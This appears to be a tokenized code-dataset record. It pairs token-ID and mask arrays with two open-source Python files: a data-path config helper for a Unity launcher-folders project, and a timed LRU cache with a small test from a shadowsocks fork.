282, 3363, 5981, 13181, 63, 1955, 267, 340, 1686, 63, 17425, 8, 7136, 304, 288, 372, 1475, 63, 17425, 63, 1955, 8, 7136, 9, 398, 327, 6596, 642, 282, 2849, 5576, 4330, 334, 287, 1339, 668, 289, 723, 391, 5547, 267, 862, 26, 288, 21036, 63, 2977, 275, 4107, 63, 344, 63, 15881, 8, 7136, 12, 756, 9, 288, 372, 1475, 63, 28686, 63, 344, 63, 1955, 8, 10907, 63, 2977, 12, 24714, 9, 267, 871, 1722, 26, 288, 746, 4513, 14, 8172, 8, 277, 14, 705, 63, 3431, 459, 3197, 1105, 421, 199, 533, 5795, 7344, 279, 10193, 3259, 792, 8, 3351, 14, 2183, 304, 272, 408, 272, 437, 1824, 901, 626, 29280, 1324, 465, 282, 428, 1129, 29159, 25994, 8503, 1329, 272, 334, 5484, 1507, 2626, 680, 339, 710, 3211, 6752, 787, 31946, 3218, 5745, 13, 6873, 12, 31946, 3218, 5745, 6873, 12, 1488, 57, 3218, 5745, 13, 6873, 12, 272, 1488, 57, 3218, 5745, 6873, 436, 1488, 57, 3218, 5745, 11, 6873, 14, 339, 437, 435, 9126, 626, 314, 4954, 365, 12731, 2419, 2948, 17399, 12, 1314, 911, 506, 9394, 272, 1901, 8219, 1754, 1380, 314, 1434, 365, 16468, 14, 2286, 710, 9040, 911, 506, 12950, 436, 7923, 14, 710, 21036, 1434, 365, 7923, 370, 272, 506, 282, 1686, 1434, 14, 339, 4885, 849, 12, 512, 13, 2181, 3155, 5579, 334, 21660, 2181, 78, 780, 1507, 2626, 9, 911, 506, 10226, 14, 4005, 272, 1454, 2040, 3363, 25994, 8503, 5579, 12, 986, 314, 4252, 1423, 272, 11021, 3155, 63, 1955, 29, 797, 370, 314, 3787, 14, 339, 710, 12364, 574, 911, 3544, 1172, 314, 1475, 31946, 3218, 5745, 6873, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 11021, 3155, 63, 1955, 29, 549, 12, 627, 589, 12, 1011, 958, 304, 267, 291, 14, 7988, 3155, 63, 1955, 275, 11021, 3155, 63, 1955, 267, 1613, 8, 899, 7344, 279, 10193, 3259, 792, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 339, 849, 63, 705, 63, 3431, 275, 469, 267, 283, 3197, 356, 4018, 8468, 282, 1686, 428, 1129, 29159, 25994, 8503, 1329, 8038, 267, 283, 7988, 3155, 63, 1955, 356, 4018, 967, 13, 2181, 3155, 5579, 787, 440, 4370, 8038, 272, 789, 339, 347, 3633, 8, 277, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pacoqueen/unity-launcher-folders
unity_launcher_folders_lib/unity_launcher_foldersconfig.py
2
2222
# -*- Mode: Python; coding: utf-8; indent-tabs-mode: nil; tab-width: 4 -*- ### BEGIN LICENSE # Copyright (C) 2014 Anton Sukhovatkin <laucnherfolders@exceptionfound.com> # This program is free software: you can redistribute it and/or modify it # under the terms of the GNU General Public License version 3, as published # by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranties of # MERCHANTABILITY, SATISFACTORY QUALITY, or FITNESS FOR A PARTICULAR # PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program. If not, see <http://www.gnu.org/licenses/>. ### END LICENSE ### DO NOT EDIT THIS FILE ### __all__ = [ 'project_path_not_found', 'get_data_file', 'get_data_path', ] # Where your project will look for your data (for instance, images and ui # files). By default, this is ../data, relative your trunk layout __unity_launcher_folders_data_directory__ = '../data/' __license__ = 'GPL-3' __version__ = 'VERSION' import os from locale import gettext as _ class project_path_not_found(Exception): """Raised when we can't find the project directory.""" def get_data_file(*path_segments): """Get the full path to a data file. Returns the path to a file underneath the data directory (as defined by `get_data_path`). Equivalent to os.path.join(get_data_path(), *path_segments). """ return os.path.join(get_data_path(), *path_segments) def get_data_path(): """Retrieve unity-launcher-folders data path This path is by default <unity_launcher_folders_lib_path>/../data/ in trunk and /usr/share/unity-launcher-folders in an installed version but this path is specified at installation time. """ # Get pathname absolute or relative. path = os.path.join( os.path.dirname(__file__), __unity_launcher_folders_data_directory__) abs_data_path = os.path.abspath(path) if not os.path.exists(abs_data_path): raise project_path_not_found return abs_data_path def get_version(): return __version__
gpl-3.0
[ 3, 1882, 4900, 26, 2018, 27, 2803, 26, 2774, 13, 24, 27, 4363, 13, 8741, 13, 632, 26, 32644, 27, 5174, 13, 2063, 26, 841, 1882, 199, 5680, 16427, 5113, 199, 3, 1898, 334, 35, 9, 6927, 437, 343, 265, 428, 3210, 526, 16305, 19269, 665, 416, 947, 78, 2523, 15171, 32, 1971, 4214, 14, 957, 30, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 652, 221, 199, 3, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 1015, 650, 12, 465, 3267, 221, 199, 3, 701, 314, 2868, 2290, 2752, 14, 199, 3, 221, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 1325, 221, 199, 3, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3712, 1417, 402, 221, 199, 3, 3169, 12, 428, 619, 1311, 18164, 5347, 7813, 748, 1922, 12, 503, 3092, 2381, 437, 3115, 221, 199, 3, 3104, 14, 221, 1666, 314, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 221, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 3180, 221, 199, 3, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 5680, 7729, 5113, 199, 199, 5680, 3506, 2845, 24981, 5749, 13024, 6754, 199, 199, 363, 452, 363, 275, 359, 272, 283, 1715, 63, 515, 63, 1397, 63, 4214, 297, 272, 283, 362, 63, 576, 63, 493, 297, 272, 283, 362, 63, 576, 63, 515, 297, 272, 1622, 199, 199, 3, 17685, 2195, 2199, 911, 3648, 367, 2195, 666, 334, 509, 1256, 12, 5935, 436, 8574, 199, 3, 1584, 680, 4885, 849, 12, 642, 365, 24272, 576, 12, 3847, 2195, 24764, 7054, 199, 363, 6639, 63, 27326, 63, 15171, 63, 576, 63, 3619, 363, 275, 20644, 576, 4805, 199, 363, 1682, 363, 275, 283, 12006, 13, 19, 7, 199, 363, 1023, 363, 275, 283, 4612, 7, 199, 199, 646, 747, 199, 199, 504, 5867, 492, 9796, 465, 485, 199, 199, 533, 2199, 63, 515, 63, 1397, 63, 4214, 8, 1726, 304, 272, 408, 16894, 1380, 781, 883, 1133, 2342, 314, 2199, 2082, 1041, 421, 199, 318, 664, 63, 576, 63, 493, 2031, 515, 63, 13879, 304, 272, 408, 1002, 314, 2615, 931, 370, 282, 666, 570, 14, 339, 1803, 314, 931, 370, 282, 570, 1334, 685, 1619, 314, 666, 2082, 334, 305, 3247, 701, 272, 658, 362, 63, 576, 63, 515, 14963, 24228, 370, 747, 14, 515, 14, 904, 8, 362, 63, 576, 63, 515, 1062, 272, 627, 515, 63, 13879, 680, 272, 408, 272, 372, 747, 14, 515, 14, 904, 8, 362, 63, 576, 63, 515, 1062, 627, 515, 63, 13879, 9, 421, 199, 318, 664, 63, 576, 63, 515, 837, 272, 408, 15310, 625, 1209, 13, 27326, 13, 15171, 666, 931, 339, 961, 931, 365, 701, 849, 665, 6639, 63, 27326, 63, 15171, 63, 773, 63, 515, 12202, 5093, 576, 15, 315, 24764, 272, 436, 1182, 2647, 15, 6251, 15, 6639, 13, 27326, 13, 15171, 315, 376, 4903, 1015, 1325, 642, 931, 272, 365, 2013, 737, 12096, 900, 14, 272, 408, 339, 327, 2372, 11776, 3679, 503, 3847, 14, 272, 931, 275, 747, 14, 515, 14, 904, 8, 267, 747, 14, 515, 14, 3475, 3460, 493, 10139, 636, 6639, 63, 27326, 63, 15171, 63, 576, 63, 3619, 3368, 339, 2853, 63, 576, 63, 515, 275, 747, 14, 515, 14, 4832, 8, 515, 9, 272, 340, 440, 747, 14, 515, 14, 2444, 8, 2101, 63, 576, 63, 515, 304, 267, 746, 2199, 63, 515, 63, 1397, 63, 4214, 339, 372, 2853, 63, 576, 63, 515, 421, 199, 318, 664, 63, 1023, 837, 272, 372, 636, 1023, 363, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 4900, 26, 2018, 27, 2803, 26, 2774, 13, 24, 27, 4363, 13, 8741, 13, 632, 26, 32644, 27, 5174, 13, 2063, 26, 841, 1882, 199, 5680, 16427, 5113, 199, 3, 1898, 334, 35, 9, 6927, 437, 343, 265, 428, 3210, 526, 16305, 19269, 665, 416, 947, 78, 2523, 15171, 32, 1971, 4214, 14, 957, 30, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 652, 221, 199, 3, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 1015, 650, 12, 465, 3267, 221, 199, 3, 701, 314, 2868, 2290, 2752, 14, 199, 3, 221, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 1325, 221, 199, 3, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3712, 1417, 402, 221, 199, 3, 3169, 12, 428, 619, 1311, 18164, 5347, 7813, 748, 1922, 12, 503, 3092, 2381, 437, 3115, 221, 199, 3, 3104, 14, 221, 1666, 314, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 221, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 3180, 221, 199, 3, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 5680, 7729, 5113, 199, 199, 5680, 3506, 2845, 24981, 5749, 13024, 6754, 199, 199, 363, 452, 363, 275, 359, 272, 283, 1715, 63, 515, 63, 1397, 63, 4214, 297, 272, 283, 362, 63, 576, 63, 493, 297, 272, 283, 362, 63, 576, 63, 515, 297, 272, 1622, 199, 199, 3, 17685, 2195, 2199, 911, 3648, 367, 2195, 666, 334, 509, 1256, 12, 5935, 436, 8574, 199, 3, 1584, 680, 4885, 849, 12, 642, 365, 24272, 576, 12, 3847, 2195, 24764, 7054, 199, 363, 6639, 63, 27326, 63, 15171, 63, 576, 63, 3619, 363, 275, 20644, 576, 4805, 199, 363, 1682, 363, 275, 283, 12006, 13, 19, 7, 199, 363, 1023, 363, 275, 283, 4612, 7, 199, 199, 646, 747, 199, 199, 504, 5867, 492, 9796, 465, 485, 199, 199, 533, 2199, 63, 515, 63, 1397, 63, 4214, 8, 1726, 304, 272, 408, 16894, 1380, 781, 883, 1133, 2342, 314, 2199, 2082, 1041, 421, 199, 318, 664, 63, 576, 63, 493, 2031, 515, 63, 13879, 304, 272, 408, 1002, 314, 2615, 931, 370, 282, 666, 570, 14, 339, 1803, 314, 931, 370, 282, 570, 1334, 685, 1619, 314, 666, 2082, 334, 305, 3247, 701, 272, 658, 362, 63, 576, 63, 515, 14963, 24228, 370, 747, 14, 515, 14, 904, 8, 362, 63, 576, 63, 515, 1062, 272, 627, 515, 63, 13879, 680, 272, 408, 272, 372, 747, 14, 515, 14, 904, 8, 362, 63, 576, 63, 515, 1062, 627, 515, 63, 13879, 9, 421, 199, 318, 664, 63, 576, 63, 515, 837, 272, 408, 15310, 625, 1209, 13, 27326, 13, 15171, 666, 931, 339, 961, 931, 365, 701, 849, 665, 6639, 63, 27326, 63, 15171, 63, 773, 63, 515, 12202, 5093, 576, 15, 315, 24764, 272, 436, 1182, 2647, 15, 6251, 15, 6639, 13, 27326, 13, 15171, 315, 376, 4903, 1015, 1325, 642, 931, 272, 365, 2013, 737, 12096, 900, 14, 272, 408, 339, 327, 2372, 11776, 3679, 503, 3847, 14, 272, 931, 275, 747, 14, 515, 14, 904, 8, 267, 747, 14, 515, 14, 3475, 3460, 493, 10139, 636, 6639, 63, 27326, 63, 15171, 63, 576, 63, 3619, 3368, 339, 2853, 63, 576, 63, 515, 275, 747, 14, 515, 14, 4832, 8, 515, 9, 272, 340, 440, 747, 14, 515, 14, 2444, 8, 2101, 63, 576, 63, 515, 304, 267, 746, 2199, 63, 515, 63, 1397, 63, 4214, 339, 372, 2853, 63, 576, 63, 515, 421, 199, 318, 664, 63, 1023, 837, 272, 372, 636, 1023, 363, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
chendeben/shadowsocks5
shadowsocks/lru_cache.py
983
4290
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright 2015 clowwindy # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from __future__ import absolute_import, division, print_function, \ with_statement import collections import logging import time # this LRUCache is optimized for concurrency, not QPS # n: concurrency, keys stored in the cache # m: visits not timed out, proportional to QPS * timeout # get & set is O(1), not O(n). thus we can support very large n # TODO: if timeout or QPS is too large, then this cache is not very efficient, # as sweep() causes long pause class LRUCache(collections.MutableMapping): """This class is not thread safe""" def __init__(self, timeout=60, close_callback=None, *args, **kwargs): self.timeout = timeout self.close_callback = close_callback self._store = {} self._time_to_keys = collections.defaultdict(list) self._keys_to_last_time = {} self._last_visits = collections.deque() self._closed_values = set() self.update(dict(*args, **kwargs)) # use the free update to set keys def __getitem__(self, key): # O(1) t = time.time() self._keys_to_last_time[key] = t self._time_to_keys[t].append(key) self._last_visits.append(t) return self._store[key] def __setitem__(self, key, value): # O(1) t = time.time() self._keys_to_last_time[key] = t self._store[key] = value self._time_to_keys[t].append(key) self._last_visits.append(t) def __delitem__(self, key): # O(1) del self._store[key] del self._keys_to_last_time[key] def __iter__(self): return iter(self._store) def __len__(self): return len(self._store) def sweep(self): # O(m) now = time.time() c = 0 while len(self._last_visits) > 0: least = self._last_visits[0] if now - least <= self.timeout: break if self.close_callback is not None: for key in self._time_to_keys[least]: if key in self._store: if now - self._keys_to_last_time[key] > self.timeout: value = self._store[key] if value not in self._closed_values: self.close_callback(value) self._closed_values.add(value) for key in self._time_to_keys[least]: self._last_visits.popleft() if key in self._store: if now - self._keys_to_last_time[key] > self.timeout: del self._store[key] del self._keys_to_last_time[key] c += 1 del self._time_to_keys[least] if c: self._closed_values.clear() logging.debug('%d keys swept' % c) def test(): c = LRUCache(timeout=0.3) c['a'] = 1 assert c['a'] == 1 time.sleep(0.5) c.sweep() assert 'a' not in c c['a'] = 2 c['b'] = 3 time.sleep(0.2) c.sweep() assert c['a'] == 2 assert c['b'] == 3 time.sleep(0.2) c.sweep() c['b'] time.sleep(0.2) c.sweep() assert 'a' not in c assert c['b'] == 3 time.sleep(0.5) c.sweep() assert 'a' not in c assert 'b' not in c global close_cb_called close_cb_called = False def close_cb(t): global close_cb_called assert not close_cb_called close_cb_called = True c = LRUCache(timeout=0.1, close_callback=close_cb) c['s'] = 1 c['s'] time.sleep(0.1) c['s'] time.sleep(0.3) c.sweep() if __name__ == '__main__': test()
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 1898, 6900, 286, 674, 11530, 89, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 12, 971, 272, 543, 63, 6242, 199, 199, 646, 5055, 199, 646, 2050, 199, 646, 900, 421, 199, 3, 642, 491, 9500, 4437, 365, 20212, 367, 406, 4968, 12, 440, 1413, 5067, 199, 3, 302, 26, 406, 4968, 12, 2883, 5489, 315, 314, 2581, 199, 3, 333, 26, 1321, 30066, 440, 18590, 734, 12, 24382, 279, 370, 1413, 5067, 627, 2653, 199, 3, 664, 1253, 663, 365, 593, 8, 17, 395, 440, 593, 8, 78, 680, 12850, 781, 883, 2291, 7437, 7031, 302, 199, 3, 3254, 26, 340, 2653, 503, 1413, 5067, 365, 4634, 7031, 12, 2066, 642, 2581, 365, 440, 7437, 13402, 12, 199, 3, 755, 465, 5584, 7840, 342, 14486, 1846, 16834, 421, 199, 533, 491, 9500, 4437, 8, 7882, 14, 17707, 7674, 304, 272, 408, 2765, 1021, 365, 440, 2462, 5048, 624, 339, 347, 636, 826, 721, 277, 12, 2653, 29, 2259, 12, 4002, 63, 3058, 29, 403, 12, 627, 589, 12, 1011, 958, 304, 267, 291, 14, 2593, 275, 2653, 267, 291, 14, 1600, 63, 3058, 275, 4002, 63, 3058, 267, 291, 423, 1617, 275, 1052, 267, 291, 423, 521, 63, 475, 63, 1612, 275, 5055, 14, 21501, 8, 513, 9, 267, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 275, 1052, 267, 291, 423, 2019, 63, 433, 30066, 275, 5055, 14, 22983, 342, 267, 291, 423, 5938, 63, 1459, 275, 663, 342, 267, 291, 14, 873, 8, 807, 2031, 589, 12, 1011, 958, 430, 221, 327, 675, 314, 2867, 1678, 370, 663, 2883, 339, 347, 636, 6095, 721, 277, 12, 790, 304, 267, 327, 593, 8, 17, 9, 267, 307, 275, 900, 14, 521, 342, 267, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 275, 307, 267, 291, 423, 521, 63, 475, 63, 1612, 59, 84, 1055, 740, 8, 498, 9, 267, 291, 423, 2019, 63, 433, 30066, 14, 740, 8, 84, 9, 267, 372, 291, 423, 1617, 59, 498, 61, 339, 347, 636, 8617, 721, 277, 12, 790, 12, 574, 304, 267, 327, 593, 8, 17, 9, 267, 307, 275, 900, 14, 521, 342, 267, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 275, 307, 267, 291, 423, 1617, 59, 498, 61, 275, 574, 267, 291, 423, 521, 63, 475, 63, 1612, 59, 84, 1055, 740, 8, 498, 9, 267, 291, 423, 2019, 63, 433, 30066, 14, 740, 8, 84, 9, 339, 347, 636, 13228, 721, 277, 12, 790, 304, 267, 327, 593, 8, 17, 9, 267, 2150, 291, 423, 1617, 59, 498, 61, 267, 2150, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 339, 347, 636, 1661, 721, 277, 304, 267, 372, 2740, 8, 277, 423, 1617, 9, 